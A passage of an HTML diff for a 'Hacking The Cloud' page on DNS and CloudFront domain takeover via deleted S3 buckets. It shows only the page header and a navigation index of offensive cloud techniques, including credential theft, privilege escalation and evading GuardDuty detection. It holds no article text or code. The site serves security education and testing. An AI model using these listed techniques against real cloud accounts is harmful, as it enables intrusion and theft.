@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#dns-and-cloudfront-domain-takeover-via-deleted-s3-buckets class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account 